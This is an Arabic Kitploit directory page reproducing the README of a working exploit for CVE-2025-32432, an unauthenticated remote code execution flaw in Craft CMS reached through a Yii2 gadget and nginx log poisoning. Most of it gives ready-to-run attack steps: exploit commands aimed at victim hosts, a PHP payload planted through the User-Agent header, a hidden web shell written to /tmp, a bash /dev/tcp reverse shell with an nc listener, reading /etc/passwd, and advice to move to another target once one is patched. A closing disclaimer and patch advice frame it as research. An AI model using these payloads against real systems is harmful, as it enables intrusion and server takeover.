Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-32432 — PoC عملي لـ CVE-2025-32432 - Craft CMS <= 5.6.16 RCE غير مصادق عليه عبر أداة Yii2 PhpManager + تسميم سجل الوصول لـ nginx | Kitploit
أدوات/GitHubGitHub/cd-ratel/cve-2025-32432
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubcd-ratel/cve-2025-32432

CVE-2025-32432

PoC عملي لـ CVE-2025-32432 - Craft CMS <= 5.6.16 RCE غير مصادق عليه عبر أداة Yii2 PhpManager + تسميم سجل الوصول لـ nginx

عرض المستودع
214منذ 3 أشهرلم تتم المراجعة بعد
الموقع الإلكتروني

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-32432 - برهان مفهوم لثغرة تنفيذ أوامر عن بعد دون مصادقة في Craft CMS

برهان مفهوم عامل لـ CVE-2025-32432، وهي ثغرة تنفيذ أوامر عن بعد دون مصادقة في Craft CMS الإصدارات حتى 5.6.16 (وتؤثر أيضًا على السلاسل 4.x و 3.x في مسارات الكود المكافئة).

كلمات البحث: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit, Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior, nginx log poisoning Craft, unauth RCE craftcms 2025.


TL;DR

root@kitploit:~
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'

الوضع الافتراضي يستهدف تثبيتات Craft CMS العادية. تم تضمين علامة --lab لتحدي carangueijada-20 من مشروع hacklab-platform، الذي يحجب Craft خلف كعكة جلسة مخصصة.


الثغرة

المكون المتأثر: craft\controllers\AssetsController::actionGenerateTransform.

تم تسجيل الإجراء كـ allowAnonymous، لذلك لا يلزم مصادقة. يقبل معامل POST handle والذي يتم نشره بعد ذلك في استدعاء Craft::createObject():

root@kitploit:~
$transform = Craft::createObject([
    'class' => ImageTransform::class,
    ...$handle,
]);

عندما يكون $handle مصفوفة ترابطية تحت سيطرة المهاجم، فإن النشر يحقن مفاتيح عشوائية في إعداد المُنشئ. على وجه الخصوص، يتم تفسير مفتاح يبدأ بـ as بواسطة yii\base\Component::__set كمرفق سلوك، والذي يستدعي Yii::createObject($config) على القيمة قبل أي فحص نوع:

root@kitploit:~
elseif (strncmp($name, 'as ', 3) === 0) {
    $name = trim(substr($name, 3));
    $this->attachBehavior(
        $name,
        $value instanceof Behavior ? $value : Yii::createObject($value),
    );
    return;
}

أضاف إصلاح Yii2 في 2.0.50 حماية is_subclass_of($value['class'], Behavior::class) لهذا الفرع؛ التثبيتات الثغرة (Yii2 <= 2.0.49، أو الفحص المُزال سابقًا) تتجاوز الحماية بالكامل.

Gadget: yii\rbac\PhpManager

PhpManager هي فئة Yii2 قياسية. تستدعي init() دالة load()، والتي تستدعي loadFromFile($this->itemFile). loadFromFile حرفيًا هي:

root@kitploit:~
protected function loadFromFile($file)
{
    if (is_file($file)) {
        return require $file;
    }
    return [];
}

require يوزع أي ملف على القرص كـ PHP. إذا كان الملف يحتوي على كتلة <?php ... ?>، يتم تشغيل تلك الكتلة في العامل. من خلال توجيه itemFile إلى ملف يتحكم المهاجم في محتواه، يتم تحقيق تنفيذ أوامر كامل.

Sink: nginx access.log

المستودع (sink) الموثوق عبر التثبيتات هو سجل nginx بتنسيق المشترك access.log. يسجل User-Agent الخاص بالطلب كما هو، بما في ذلك الأحرف غير القابلة للطباعة ومعظم علامات الترقيم. بإرسال طلب User-Agent الخاص به هو <?php system('id'); exit; ?>، يقوم المهاجم بزرع كتلة PHP في مسار معروف. ثم توجيه itemFile إلى /var/log/nginx/access.log يؤدي إلى require للسجل، مما ينفذ كل كتلة <?php ... ?> بالترتيب.

هناك نقطتان دقيقتان مهمتان:

  1. لا علامات اقتباس مزدوجة في الحمولة. يقوم nginx بتضمين " إلى \x22 في التنسيق المشترك، مما يكسر تحليل PHP للسطر. استخدم علامات الاقتباس المفردة أو دالة chr() للربط.
  2. exit; في النهاية حتى يتوقف require قبل تحليل سجلات لاحقة قد تحتوي على حمولات مشوهة أخرى.

الإصدارات المتأثرة

المكونقابل للثغرةمصحح
Craft CMS<= 5.6.165.6.17
Craft CMS<= 4.15.24.15.3
Craft CMS<= 3.9.143.9.15
Yii2<= 2.0.492.0.50

Craft 5.6.17 يضيف فحص ImageTransformerInterface على فئة المحول. Yii2 2.0.50 يضيف فحص صنف فرعي Behavior داخل Component::__set. أي من الإصلاحين وحده يغلق سلسلة الأجهزة هذه.


المتطلبات

  • Python 3.8+
  • مكتبة requests (pip install -r requirements.txt)
  • إمكانية الوصول الشبكي إلى نقطة نهاية HTTP(S) الهدف
  • assetId صالح من Craft على الهدف. الافتراضي هو 2؛ يمكن التجاوز مع -a <id> إذا لزم الأمر (عادة ما يكون asset id 1 هو الصورة الرمزية للمشرف).

الاستخدام

Craft CMS العادي

root@kitploit:~
python3 exploit.py -u http://victim.tld -c 'id'

Craft مثبت تحت بادئة مسار

root@kitploit:~
python3 exploit.py -u http://victim.tld -p /cms -c 'id'

معرف أصل مخصص

root@kitploit:~
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'

itemFile مخصص (مسار سجل مختلف، جلسة FPM، إلخ.)

root@kitploit:~
python3 exploit.py -u http://victim.tld \
                   -i /var/log/apache2/access.log \
                   -c 'id'

وضع المختبر (تحدي carangueijada-20)

يعمل مختبر carangueijada-20 من hacklab-platform على حماية تثبيت Craft خلف كعكة coopsess الصادرة عن PATCH /login. تتعامل علامة --lab مع تلك المصافحة تلقائياً.

root@kitploit:~
python3 exploit.py --lab \
                   -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
                   -c 'id; uname -a'

تأكد من أن www.carangueijada.coop تحل إلى IP المختبر (أضف إلى /etc/hosts إذا لزم الأمر).

شل عكسية

علامة --revshell تطلق اتصال عكسي bash -i >& /dev/tcp/<lhost>/<lport> 0>&1 في الخلفية، بحيث يعود طلب gadget على الفور.

تدفق نافذتين (الأكثر موثوقية):

root@kitploit:~
# الطرفية 1 - المستمع على جهازك
nc -lvnp 4444

# الطرفية 2 - إطلاق الاستغلال
python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444

تدفق نافذة واحدة مع مستمع مدمج:

root@kitploit:~
python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444 \
                   --auto-listen

--auto-listen يقوم بتشغيل nc -lvnp <lport> في نفس الطرفية قبل إطلاق الحمولة. Ctrl+C للخروج عند الانتهاء.

جلسة نموذجية (مختبر):

root@kitploit:~
$ python3 exploit.py --lab \
    -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
    --revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*]     coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*]     HTTP 200
[*] Reverse shell fired.

# في المستمع:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$

تثبيت الشل (بعد الاتصال، قم بتشغيل داخل الشل العكسي):

root@kitploit:~
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z لخلفية nc
stty raw -echo; fg
# اضغط Enter مرتين
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200

كيف تعمل عدم التكرار (Idempotency)

في التشغيل الأول، يقوم الاستغلال بتسميم access.log مرة واحدة لإسقاط غلاف PHP مخفي في /tmp/.cve32432_w.php. يقرأ الغلاف رأس HTTP X-Cmd ويشغل system($_SERVER['HTTP_X_CMD']). كل عملية إرسال لاحقة توجه itemFile إلى ملف الغلاف وتمرر الأمر عبر الرأس. لا مزيد من التسميم، لا مزيد من تلوث السجل، لا مزيد من فشل "أول كتلة <?php exit; تفوز".

إذا كنت ترغب في فرض إعادة الإسقاط، احذف /tmp/.cve32432_w.php على الهدف (يمكنك القيام بذلك من خلال الغلاف نفسه: --cmd 'rm /tmp/.cve32432_w.php').


مخرجات نموذجية

تشغيل ناجح ضد هدف جديد:

root@kitploit:~
[*] Fetching CSRF token from http://target.tld/actions/users/session-info
[*]     CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Poisoning access.log via User-Agent (len=508)
[*]     poison request -> HTTP 200
[*] Triggering gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*]     HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux

التراجع عند تلوث السجل (تم استغلال الهدف سابقًا، حمولة أقدم تخرج قبل حمولتك):

root@kitploit:~
[!] Markers not found; log appears polluted by older poison.
[!] Falling back to tail-of-body extraction. Output below comes
[!] from the FIRST <?php block in the log (likely an old payload).
--- fallback output (may be stale) ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)

كيف يتم تشغيل السلسلة فعليًا

  1. POST /actions/assets/generate-transform يصل إلى AssetsController::actionGenerateTransform.
  2. يقوم المعالج ببناء $config = ['class' => ImageTransform::class, ...$handle]. handle[as gadget] ينجو من النشر.
  3. Craft::createObject($config) يستدعي Yii::$container->get(ImageTransform::class, [], $config)، والذي يقوم بإنشاء ImageTransform وكتابة كل مفتاح باقٍ من التهيئة عبر $transform->{$key} = $value.
  4. عندما يصل المحلل إلى as gadget، يطابق Component::__set البادئة as ويستدعي Yii::createObject(['class' => 'yii\\rbac\\PhpManager', 'itemFile' => '/var/log/nginx/access.log']).
  5. Yii::createObject يقوم ببناء PhpManager، وتشغيل __construct() ثم init().
  6. PhpManager::init() -> load() -> loadFromFile($this->itemFile) -> require '/var/log/nginx/access.log'.
  7. PHP يقوم بتحليل ملف السجل. النص غير PHP يُطبع على stdout (الذي ينتهي في نص استجابة HTTP). كتل <?php ... ?> تنفذ في العامل.
  8. حمولتنا المزروعة تشغل system($cmd) و exit;. يظهر الإخراج في نص الاستجابة حيث كانت كتلة <?php موجودة نصيًا.

استكشاف الأخطاء وإصلاحها

الأعراضالسببالإصلاح
HTTP 400 + "could not verify your data submission" / "Pedido invalido"رمز CSRF غير مرتبط بالكوكي المستخدم في POSTيستخدم السكربت requests.Session واحد؛ إذا أعدت التنفيذ، تأكد من أن وعاء الكوكي يحتفظ بـ CRAFT_CSRF_TOKEN بين session-info و POST.
HTTP 403 على /actions/...بادئة المسار أو vhost خاطئاستخدم -p /prefix لمطابقة مكان تثبيت Craft؛ تأكد من أن رأس Host يطابق التثبيت.
csrfTokenValue فارغ / session-info يرجع HTMLرأس Accept خاطئيرسل السكربت Accept: application/json بالفعل؛ إذا أزلته، أعد وضعه.
الإخراج لا يظهر أمرك أبدًايحتوي access.log بالفعل على حمولة أقدم من <?php ... exit; ?> تعمل أولاًقم بتدوير / اقتطاع السجل على الهدف. إذا كان لديك فقط RCE كـ id، انتظر حتى تدوير السجل التالي، أو انتقل عبر ملف PHP قابل للكتابة (مثل /tmp/wrapper.php مع system($_SERVER['HTTP_X_CMD']);) واستخدمه كـ itemFile في المستقبل.
assetId not foundمعرف خاطئ لهذا التثبيتتصفح عناوين URL العامة للأصول لتعداد المعرفات، أو جرب -a 1 ثم -a 3..N.
الهدف مصححCraft >= 5.6.17 أو Yii2 >= 2.0.50السلسلة مغلقة؛ ابحث عن فئة أخرى ثغرة أو انتقل إلى هدف آخر.
الحمولة تسبب خطأ PHP فادحتحتوي إدخالات السجل الأقدم على PHP مشوه تكسر المحلل قبل كتلتكنفس إصلاح السجل الملوث: قم بتدوير السجل.

حل بديل للسجل الملوث (بدون وصول إداري)

إذا كان بإمكانك تشغيل id فقط بشكل موثوق (لأن تسميم exit; أقدم أقفل السلسلة)، فإن أحد الحلول القابلة للتطبيق هو جعل ذلك الأمر الواحد من فئة id يكتب غلاف PHP إلى مسار تتحكم فيه، ثم تغيير itemFile إلى ذلك المسار لكل الطلبات اللاحقة:

root@kitploit:~
# تسميم لمرة واحدة بأمر يقوم بإسقاط /tmp/w.php كـ www-data
WRAPPER='<?php system($_SERVER["HTTP_X_CMD"]);exit;?>'
B64=$(printf %s "$WRAPPER" | base64 -w0)
CMD="echo $B64|base64 -d > /tmp/w.php"
# قم بتشفير CMD كـ chr() ...

ثم استدع:

root@kitploit:~
python3 exploit.py -u http://victim.tld \
                   -i /tmp/w.php \
                   -c 'whoami'

كل إرسال لاحق يقرأ /tmp/w.php (ملف PHP نظيف لا شيء قبله غير حمولتنا) ويشغل الأمر من رأس X-Cmd. قم بتكييف السكربت إذا كنت ترغب في هذا كوضع مدمج.


الملفات

root@kitploit:~
.
├── exploit.py        # PoC
├── README.md         # هذا الملف
├── requirements.txt  # تبعيات Python (فقط `requests`)
└── LICENSE           # MIT

المراجع

  • إدخال قاعدة معرفة Craft CMS: https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432
  • تنبيه أمان GitHub (GHSA-f3gw-9ww9-jmc3): https://github.com/craftcms/cms/security/advisories/GHSA-f3gw-9ww9-jmc3
  • تحليل حملة SensePost في البرية: https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-32432
  • ملف Yii2 Component.php (المراجعة الثغرة): https://github.com/yiisoft/yii2/blob/2.0.49/framework/base/Component.php
  • إصلاح Yii2 (2.0.50): https://github.com/yiisoft/yii2/pull/19938
  • إصلاح Craft CMS لإصدار 5.6.17: https://github.com/craftcms/cms/commit (ابحث عن "ImageTransformerInterface" حوالي 2025-04-09)
  • حقن السجلات OWASP: https://owasp.org/www-community/attacks/Log_Injection
  • HackTricks LFI-to-RCE عبر سجلات nginx: https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-nginx-log

إخلاء مسؤولية

هذا البرهان المفاهيمي يُنشر للبحث الدفاعي، الاستخدام التعليمي، واختبار الاختراق المصرح به فقط. تشغيله ضد أنظمة لا تملكها أو ليس لديك إذن كتابي لاختبارها غير قانوني في معظم الدول. المؤلف لا يتحمل أي مسؤولية عن سوء الاستخدام.

إذا كنت تدير تثبيت Craft CMS، قم بالترقية إلى 5.6.17 أو أحدث (أو إصدار التصحيح المقابل لـ 4.x / 3.x). الثغرة قابلة للاستغلال ببساطة وقد تم استخدامها في حملات حقيقية موثقة من قبل SensePost.

الترخيص

MIT. انظر LICENSE.

تنزيل الأداة